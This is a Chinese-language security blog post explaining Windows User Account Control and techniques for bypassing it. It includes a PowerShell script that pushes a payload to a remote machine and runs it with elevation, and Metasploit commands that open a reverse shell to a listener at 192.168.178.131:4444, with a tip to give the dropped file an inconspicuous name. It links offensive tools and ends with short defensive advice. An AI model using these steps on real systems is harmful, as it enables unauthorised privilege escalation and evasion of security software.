loading...
UAC初探&Bypass
Published in:2024-07-06 | category: Windows|UAC

0x00概念

UAC是windows特有的一个账户权限控制的模块,其全名是user account control。

部分敏感操作需要经过uac的授权,如果不能提供管理员身份,则结束进程,否则继续下一步

权限分为4个等级,最上面一级是严格模式,所有操作都需要管理员权限验证

关键路径

UAC强度级别

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin"

启动UAC策略

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"

禁用UAC桌面弹框提示

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop"

0x01使用情景

1、配置Windows Update

2、增加、删除账户、更改账户类型

3、更改UAC设置

4、安装设备驱动

5、安装ActiveX

6、复制到ProgramFile或者Windows目录下

7、查看其他用户的文件夹

0x02Bypass

绕过UAC通常用于提权或者绕过杀毒软件的检测,在进行敏感操作的时候EDR或者杀毒不会弹窗提示

以下为使用bypass工具打开软件和未使用bypass工具打开软件的区别

有以下几种可以Bypass UAC的方式

1、DLL劫持

将shellcode注入到高权限的DLL中,可以在高权限下执行操作并且能直接绕过UAC

2、漏洞利用

使用Windows内核漏洞Bypass

3、远程注入

配合COM接口注入shellcode后绕过UAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 定义目标系统的计算机名和凭据
$ComputerName = "目标计算机名"
$Credential = Get-Credential
# 定义Payload路径
$PayloadPath = "C:\path\to\payload.exe"
# 定义UAC绕过脚本
$UACBypassScript = @"
\$Application = New-Object -ComObject 'Shell.Application'
\$Application.ShellExecute('\$PayloadPath', '', '', 'runas', 1)
"@
# 上传Payload到目标系统
Copy-Item -Path .\payload.exe -Destination "\\$ComputerName\C$\path\to\payload.exe" -Credential $Credential
# 远程执行UAC绕过脚本
Invoke-Command -ComputerName $ComputerName -Credential $Credential -ScriptBlock { param($script) Invoke-Expression $script } -ArgumentList $UACBypassScript

4、白加黑劫持

在白程序中加入恶意代码,原理与DLL劫持类似

5、COM接口技术

COM接口是windows接口对象的一种,可以进行对象的创建和方法调用

(1)COM对象劫持

修改注册表键值劫持合法COM对象,通过修改注册表的CLSID指向恶意DLL

(2)恶意DLL注入

同上

(3)UAC绕过

原理

某些COM对象在调用时会自动提升权限,并且不会有弹窗提示,可执行高权限操作

常见利用接口

ICMLuaUtil接口

0x03提权

1、metasploit模块

exploit/windows/loacal/ask

会在目标主机上创建一个exe文件,运行提升权限的程序,当用户点击是的时候会返回一个system的shell

1
2
3
4
5
6
use exploit/windows/local/ask
set filename update.exe #设置运行程序名,尽可能设置一个不易发现的名字。
set session 17
set lhost 192.168.178.131
set lport 4444
run

exploit/windows/local/bypassuac

通过进程注入到受信任的证书绕过UAC,使用的前提是当前用户必须在管理员组中,且UAC必须为默认设置(“仅在程序试图更改我的计算机时提醒我”)

成功后会返回一个新的session,在里面输入getsystem提权的指令就会返回一个system的shell

1
2
3
4
5
use exploit/windows/local/bypassuac
set session 7
set lhost 192.168.178.131
Set lport 4444
Run

2、CVE漏洞

CVE-2019-1388

默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop

这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System

https://github.com/jas502n/CVE-2019-1388

3、其他提权方式

Ladon工具

https://github.com/k8gege/LadonGo

Empire中的bypassuac

https://github.com/EmpireProject/Empire

CobaltStrike的UAC模块

https://www.cobaltstrike.com

0x04防御

1、保证最低权限运行方式

2、本地使用管理员登录的话,则将权限开启最高,始终通知

3、不让内网机器使用管理员权限

0x05总结

UAC的作用主要还是用于防止以当前身份进行恶意操作,出现弹窗提示当前用户正在进行敏感操作。绕过UAC一般是为了能在windows提升权限到管理员,从而不会在进行敏感操作的时候进行弹窗,需要用户确认。同时一些杀毒或者安全软件是根据UAC的机制来防止系统软件被篡改,这样可以绕过一些安全软件的追查和阻止,并避免告警,提高了行动隐匿性。

Prev:
Springboot综合利用总结
Next:
常见区块链算法
catalog
catalog